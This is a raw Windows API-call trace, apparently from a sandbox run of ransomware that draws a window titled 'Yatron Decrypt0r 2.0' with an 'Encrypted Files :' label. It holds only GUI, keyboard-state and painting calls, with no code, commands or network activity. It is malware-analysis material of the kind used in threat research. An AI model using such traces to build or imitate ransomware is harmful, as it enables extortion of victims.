[0285.994] RedrawWindow (hWnd=0x20288, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.994] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.994] GetStockObject (i=5) returned 0x1900015
[0285.994] GetDlgItem (hDlg=0x2027a, nIDDlgItem=131722) returned 0x2028a
[0285.994] SendMessageW (hWnd=0x2028a, Msg=0x202b, wParam=0x2028a, lParam=0x2eb4b0) returned 0x0
[0285.994] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0x202b, wParam=0x2028a, lParam=0x2eb4b0) returned 0x0
[0285.994] RedrawWindow (hWnd=0x2028a, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.994] RedrawWindow (hWnd=0x2027a, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.995] RedrawWindow (hWnd=0x30272, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.995] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.995] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20286, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.995] RedrawWindow (hWnd=0x20286, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.995] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.995] RedrawWindow (hWnd=0x20280, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.995] RedrawWindow (hWnd=0x20284, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0285.995] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.995] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0285.996] SetTextColor (hdc=0x2010a5c, color=0x0) returned 0x0
[0285.996] SetBkColor (hdc=0x2010a5c, color=0xffffff) returned 0xffffff
[0285.996] CreateSolidBrush (color=0xffffff) returned 0x131007d5
[0285.996] SetTextColor (hdc=0x2010a5c, color=0x0) returned 0x0
[0285.996] SetBkColor (hdc=0x2010a5c, color=0xffffff) returned 0xffffff
[0285.996] SendMessageW (hWnd=0x2029a, Msg=0x204e, wParam=0x2029a, lParam=0x2eba00) returned 0x0
[0285.996] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x204e, wParam=0x2029a, lParam=0x2eba00) returned 0x0
[0285.996] SendMessageW (hWnd=0x2029a, Msg=0x204e, wParam=0x2029a, lParam=0x2eba00) returned 0x0
[0285.996] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x204e, wParam=0x2029a, lParam=0x2eba00) returned 0x0
[0285.997] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x4
[0285.997] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0xd, wParam=0x5, lParam=0x27eb5fe0) returned 0x4
[0286.009] RedrawWindow (hWnd=0x2029a, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.009] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.010] RedrawWindow (hWnd=0x2029c, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.010] RedrawWindow (hWnd=0x20282, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.010] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.010] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.010] SetTextColor (hdc=0x2010b40, color=0x0) returned 0x0
[0286.010] SetBkColor (hdc=0x2010b40, color=0xffffff) returned 0xffffff
[0286.010] CreateSolidBrush (color=0xffffff) returned 0x281007c0
[0286.010] SetTextColor (hdc=0x2010b40, color=0x0) returned 0x0
[0286.010] SetBkColor (hdc=0x2010b40, color=0xffffff) returned 0xffffff
[0286.010] SendMessageW (hWnd=0x2027c, Msg=0x204e, wParam=0x2027c, lParam=0x2eba00) returned 0x0
[0286.010] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0x204e, wParam=0x2027c, lParam=0x2eba00) returned 0x0
[0286.010] SendMessageW (hWnd=0x2027c, Msg=0x204e, wParam=0x2027c, lParam=0x2eba00) returned 0x0
[0286.010] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0x204e, wParam=0x2027c, lParam=0x2eba00) returned 0x0
[0286.010] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x4
[0286.010] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0xd, wParam=0x5, lParam=0x27eb5fe0) returned 0x4
[0286.011] RedrawWindow (hWnd=0x2027c, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.011] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.011] RedrawWindow (hWnd=0x2027e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.011] RedrawWindow (hWnd=0x2029e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.011] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.011] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.011] SetTextColor (hdc=0x2010a5c, color=0xffff) returned 0x0
[0286.011] SetBkColor (hdc=0x2010a5c, color=0x80) returned 0xffffff
[0286.011] SetTextColor (hdc=0x2010a5c, color=0xffff) returned 0xffff
[0286.011] SetBkColor (hdc=0x2010a5c, color=0x80) returned 0x80
[0286.011] SendMessageW (hWnd=0x102aa, Msg=0x204e, wParam=0x102aa, lParam=0x2eba00) returned 0x0
[0286.011] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0x204e, wParam=0x102aa, lParam=0x2eba00) returned 0x0
[0286.012] SendMessageW (hWnd=0x102aa, Msg=0x204e, wParam=0x102aa, lParam=0x2eba00) returned 0x0
[0286.012] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0x204e, wParam=0x102aa, lParam=0x2eba00) returned 0x0
[0286.012] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x4
[0286.012] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0xd, wParam=0x5, lParam=0x27eb5fe0) returned 0x4
[0286.012] RedrawWindow (hWnd=0x102aa, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.012] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102ac, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.012] RedrawWindow (hWnd=0x102ac, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.012] RedrawWindow (hWnd=0x102a8, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.012] SetTextColor (hdc=0x1010a48, color=0x0) returned 0x0
[0286.012] SetBkColor (hdc=0x1010a48, color=0x80) returned 0xffffff
[0286.013] SetTextColor (hdc=0x1010a48, color=0x0) returned 0x0
[0286.013] SetBkColor (hdc=0x1010a48, color=0x80) returned 0x80
[0286.013] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0286.013] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0286.013] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0xd, wParam=0x1, lParam=0x1ac60760) returned 0x0
[0286.013] RedrawWindow (hWnd=0x60106, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.013] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102ae, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.013] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102b0, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.013] RedrawWindow (hWnd=0x102b0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.013] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102b2, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.013] RedrawWindow (hWnd=0x102b2, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.013] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102b4, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.013] RedrawWindow (hWnd=0x102b4, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.014] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.014] InvalidateRect (hWnd=0x102b6, lpRect=0x0, bErase=1) returned 1
[0286.014] RedrawWindow (hWnd=0x102b6, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.014] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102b8, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.014] RedrawWindow (hWnd=0x102b8, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.014] RedrawWindow (hWnd=0x102ae, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.014] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102ba, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.014] GetStockObject (i=5) returned 0x1900015
[0286.014] GetStockObject (i=5) returned 0x1900015
[0286.014] GetDlgItem (hDlg=0x4015e, nIDDlgItem=66234) returned 0x102ba
[0286.014] SendMessageW (hWnd=0x102ba, Msg=0x202b, wParam=0x102ba, lParam=0x2ecdd0) returned 0x0
[0286.014] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102ba, Msg=0x202b, wParam=0x102ba, lParam=0x2ecdd0) returned 0x0
[0286.014] RedrawWindow (hWnd=0x102ba, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.015] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102bc, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.015] GetStockObject (i=5) returned 0x1900015
[0286.015] GetStockObject (i=5) returned 0x1900015
[0286.015] GetDlgItem (hDlg=0x4015e, nIDDlgItem=66236) returned 0x102bc
[0286.015] SendMessageW (hWnd=0x102bc, Msg=0x202b, wParam=0x102bc, lParam=0x2ecdd0) returned 0x0
[0286.015] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102bc, Msg=0x202b, wParam=0x102bc, lParam=0x2ecdd0) returned 0x0
[0286.015] RedrawWindow (hWnd=0x102bc, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.015] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x102be, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.015] GetStockObject (i=5) returned 0x1900015
[0286.015] GetDlgItem (hDlg=0x4015e, nIDDlgItem=66238) returned 0x102be
[0286.015] SendMessageW (hWnd=0x102be, Msg=0x202b, wParam=0x102be, lParam=0x2ecf50) returned 0x0
[0286.015] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x102be, Msg=0x202b, wParam=0x102be, lParam=0x2ecf50) returned 0x0
[0286.015] RedrawWindow (hWnd=0x102be, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.015] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102c0, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.015] GetStockObject (i=5) returned 0x1900015
[0286.016] GetStockObject (i=5) returned 0x1900015
[0286.016] GetDlgItem (hDlg=0x4015e, nIDDlgItem=66240) returned 0x102c0
[0286.016] SendMessageW (hWnd=0x102c0, Msg=0x202b, wParam=0x102c0, lParam=0x2ecdd0) returned 0x0
[0286.016] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102c0, Msg=0x202b, wParam=0x102c0, lParam=0x2ecdd0) returned 0x0
[0286.016] RedrawWindow (hWnd=0x102c0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.016] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102c2, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.016] GetStockObject (i=5) returned 0x1900015
[0286.016] GetStockObject (i=5) returned 0x1900015
[0286.016] GetDlgItem (hDlg=0x4015e, nIDDlgItem=66242) returned 0x102c2
[0286.016] SendMessageW (hWnd=0x102c2, Msg=0x202b, wParam=0x102c2, lParam=0x2ecdd0) returned 0x0
[0286.016] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102c2, Msg=0x202b, wParam=0x102c2, lParam=0x2ecdd0) returned 0x0
[0286.016] RedrawWindow (hWnd=0x102c2, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.016] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x102c4, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.017] GetStockObject (i=5) returned 0x1900015
[0286.017] GetDlgItem (hDlg=0x4015e, nIDDlgItem=66244) returned 0x102c4
[0286.017] SendMessageW (hWnd=0x102c4, Msg=0x202b, wParam=0x102c4, lParam=0x2ecf50) returned 0x0
[0286.017] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x102c4, Msg=0x202b, wParam=0x102c4, lParam=0x2ecf50) returned 0x0
[0286.017] RedrawWindow (hWnd=0x102c4, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.017] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102c6, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.017] RedrawWindow (hWnd=0x102c6, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.017] CallWindowProcW (lpPrevWndFunc=0x7fef6d41d50, hWnd=0x102c8, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0
[0286.018] RedrawWindow (hWnd=0x102c8, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.018] RedrawWindow (hWnd=0x4015e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0286.020] GetKeyState (nVirtKey=16) returned 0
[0286.020] GetKeyState (nVirtKey=17) returned 0
[0286.020] GetKeyState (nVirtKey=18) returned -128
[0286.040] RtlLookupFunctionEntry (in: ControlPc=0x7fef3611dc2, ImageBase=0x2ec7e8, HistoryTable=0x0 | out: ImageBase=0x2ec7e8, HistoryTable=0x0) returned 0x7fef3e7ee64
[0286.046] TranslateMessage (lpMsg=0x2eec80) returned 1
[0286.047] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0286.047] GetKeyState (nVirtKey=16) returned 0
[0286.047] GetKeyState (nVirtKey=17) returned 0
[0286.047] GetKeyState (nVirtKey=18) returned -128
[0286.047] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0
[0286.047] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0286.047] IsWindowUnicode (hWnd=0x102b6) returned 1
[0286.047] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0286.047] GetKeyState (nVirtKey=16) returned 0
[0286.047] GetKeyState (nVirtKey=17) returned 0
[0286.047] GetKeyState (nVirtKey=18) returned -128
[0286.047] GetKeyState (nVirtKey=16) returned 0
[0286.047] GetKeyState (nVirtKey=17) returned 0
[0286.047] GetKeyState (nVirtKey=18) returned -128
[0286.049] TranslateMessage (lpMsg=0x2eec80) returned 1
[0286.049] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0286.049] GetKeyState (nVirtKey=16) returned 0
[0286.049] GetKeyState (nVirtKey=17) returned 0
[0286.049] GetKeyState (nVirtKey=18) returned -128
[0286.049] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x104, wParam=0x20, lParam=0x20390001) returned 0x0
[0286.049] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0286.049] IsWindowUnicode (hWnd=0x102b6) returned 1
[0286.049] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0286.049] GetKeyState (nVirtKey=16) returned 0
[0286.049] GetKeyState (nVirtKey=17) returned 0
[0286.049] GetKeyState (nVirtKey=18) returned -128
[0286.051] SendMessageW (hWnd=0x102b6, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x81
[0286.051] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x81
[0286.051] TranslateMessage (lpMsg=0x2eec80) returned 0
[0286.051] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0286.051] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x106, wParam=0x20, lParam=0x20390001) returned 0x0
[0286.052] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102ae, Msg=0x106, wParam=0x20, lParam=0x20390001) returned 0x0
[0286.052] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x106, wParam=0x20, lParam=0x20390001) returned 0x0
[0286.058] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x112, wParam=0xf100, lParam=0x20) returned 0x0
[0286.058] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x211, wParam=0x0, lParam=0x0) returned 0x0
[0286.058] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x20, wParam=0x4015e, lParam=0x2) returned 0x0
[0286.058] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xae, wParam=0x1001, lParam=0x0) returned 0x0
[0286.059] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xae, wParam=0x1001, lParam=0x0) returned 0x0
[0286.060] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xae, wParam=0x1001, lParam=0x0) returned 0x0
[0286.060] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x116, wParam=0xc0101, lParam=0x0) returned 0x0
[0286.060] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x11f, wParam=0x20900000, lParam=0xc0101) returned 0x0
[0286.061] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x117, wParam=0xa012b, lParam=0x10000) returned 0x0
[0286.063] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x93, wParam=0x0, lParam=0x2ec6f0) returned 0x1
[0286.063] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x94, wParam=0x0, lParam=0x2ec690) returned 0x0
[0286.064] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x94, wParam=0x0, lParam=0x2ec690) returned 0x0
[0286.064] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x94, wParam=0x0, lParam=0x2ec690) returned 0x0
[0286.064] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x94, wParam=0x0, lParam=0x2ec690) returned 0x0
[0286.065] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x94, wParam=0x0, lParam=0x2ec690) returned 0x0
[0286.065] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x94, wParam=0x0, lParam=0x2ec690) returned 0x0
[0286.065] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x94, wParam=0x0, lParam=0x2ec690) returned 0x0
[0286.071] BeginPaint (in: hWnd=0x4015e, lpPaint=0x2ec008 | out: lpPaint=0x2ec008) returned 0x2010b40
[0286.072] GetWindowPlacement (in: hWnd=0x4015e, lpwndpl=0x2ebb28 | out: lpwndpl=0x2ebb28) returned 1
[0286.072] GetClientRect (in: hWnd=0x4015e, lpRect=0x2eba40 | out: lpRect=0x2eba40) returned 1
[0286.072] GetWindowTextLengthW (hWnd=0x4015e) returned 20
[0286.072] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x14
[0286.072] GetSystemMetrics (nIndex=42) returned 0
[0286.072] GetWindowTextW (in: hWnd=0x4015e, lpString=0x2eb790, nMaxCount=21 | out: lpString="Yatron Decrypt0r 2.0") returned 20
[0286.072] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xd, wParam=0x15, lParam=0x2eb790) returned 0x14
[0286.073] GetClientRect (in: hWnd=0x4015e, lpRect=0x2eb828 | out: lpRect=0x2eb828) returned 1
[0286.073] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.073] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.073] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.073] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.073] SaveDC (hdc=0x2010b40) returned 1
[0286.073] GetNearestColor (hdc=0x2010b40, color=0x80) returned 0x80
[0286.074] CreateSolidBrush (color=0x80) returned 0x91007d3
[0286.074] FillRect (hDC=0x2010b40, lprc=0x2eb518, hbr=0x91007d3) returned 1
[0286.074] DeleteObject (ho=0x91007d3) returned 1
[0286.074] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.075] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.075] GetWindowTextLengthW (hWnd=0x4015e) returned 20
[0286.075] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x14
[0286.075] GetSystemMetrics (nIndex=42) returned 0
[0286.075] GetWindowTextW (in: hWnd=0x4015e, lpString=0x2ebe90, nMaxCount=21 | out: lpString="Yatron Decrypt0r 2.0") returned 20
[0286.075] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xd, wParam=0x15, lParam=0x2ebe90) returned 0x14
[0286.076] SelectPalette (hdc=0x2010b40, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0286.076] EndPaint (hWnd=0x4015e, lpPaint=0x2ebfa8) returned 1
[0286.076] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0
[0286.076] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.077] GetClientRect (in: hWnd=0x60106, lpRect=0x2ebaf0 | out: lpRect=0x2ebaf0) returned 1
[0286.077] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2eba38) returned 0x0
[0286.078] GdipCreateSolidFill (color=0xffffffffff800000, brush=0x2eba20) returned 0x0
[0286.079] GdipFillRectangleI (graphics=0x1c5a7fc0, brush=0x1c5a8390, x=0, y=0, width=759, height=357) returned 0x0
[0286.080] GdipDeleteBrush (brush=0x1c5a8390) returned 0x0
[0286.080] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0286.080] SetTextColor (hdc=0x2010a5c, color=0x0) returned 0x0
[0286.080] SetBkColor (hdc=0x2010a5c, color=0x80) returned 0xffffff
[0286.080] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0286.080] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0286.080] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0xd, wParam=0x1, lParam=0x1ac60760) returned 0x0
[0286.081] BeginPaint (in: hWnd=0x30272, lpPaint=0x2ec018 | out: lpPaint=0x2ec018) returned 0x1010a48
[0286.081] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.082] SelectPalette (hdc=0x1010a48, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.082] GetWindowTextLengthW (hWnd=0x30272) returned 17
[0286.082] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11
[0286.082] GetSystemMetrics (nIndex=42) returned 0
[0286.082] GetWindowTextW (in: hWnd=0x30272, lpString=0x2ebea0, nMaxCount=18 | out: lpString="Encrypted Files :") returned 17
[0286.082] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0xd, wParam=0x12, lParam=0x2ebea0) returned 0x11
[0286.082] GetClientRect (in: hWnd=0x30272, lpRect=0x2ec068 | out: lpRect=0x2ec068) returned 1
[0286.082] GetCurrentObject (hdc=0x1010a48, type=0x1) returned 0x1b00017
[0286.082] GetCurrentObject (hdc=0x1010a48, type=0x2) returned 0x1900010
[0286.082] GetCurrentObject (hdc=0x1010a48, type=0x7) returned 0x1050032
[0286.082] GetCurrentObject (hdc=0x1010a48, type=0x6) returned 0x18a002e
[0286.083] SaveDC (hdc=0x1010a48) returned 1
[0286.083] GetNearestColor (hdc=0x1010a48, color=0x80) returned 0x80
[0286.084] CreateSolidBrush (color=0x80) returned 0xa1007d3
[0286.084] FillRect (hDC=0x1010a48, lprc=0x2ebd58, hbr=0xa1007d3) returned 1
[0286.084] DeleteObject (ho=0xa1007d3) returned 1
[0286.084] RestoreDC (hdc=0x1010a48, nSavedDC=-1) returned 1
[0286.084] GetWindowTextLengthW (hWnd=0x30272) returned 17
[0286.084] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11
[0286.084] GetSystemMetrics (nIndex=42) returned 0
[0286.084] GetWindowTextW (in: hWnd=0x30272, lpString=0x2ebea0, nMaxCount=18 | out: lpString="Encrypted Files :") returned 17
[0286.084] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0xd, wParam=0x12, lParam=0x2ebea0) returned 0x11
[0286.084] IsAppThemed () returned 0x1
[0286.085] GetThemeAppProperties () returned 0x3
[0286.085] GetThemeAppProperties () returned 0x3
[0286.085] SelectPalette (hdc=0x1010a48, hPal=0x3080b87, bForceBkgd=1) returned 0x3080b87
[0286.085] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ebf48) returned 0x0
[0286.085] GdipSetPageUnit (graphics=0x1c5a7fc0, unit=0x2) returned 0x0
[0286.085] GdipCreateMatrix (matrix=0x2ebe40) returned 0x0
[0286.086] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.086] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebea8) returned 0x0
[0286.086] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.086] GdipCreateRegion (region=0x2ebe40) returned 0x0
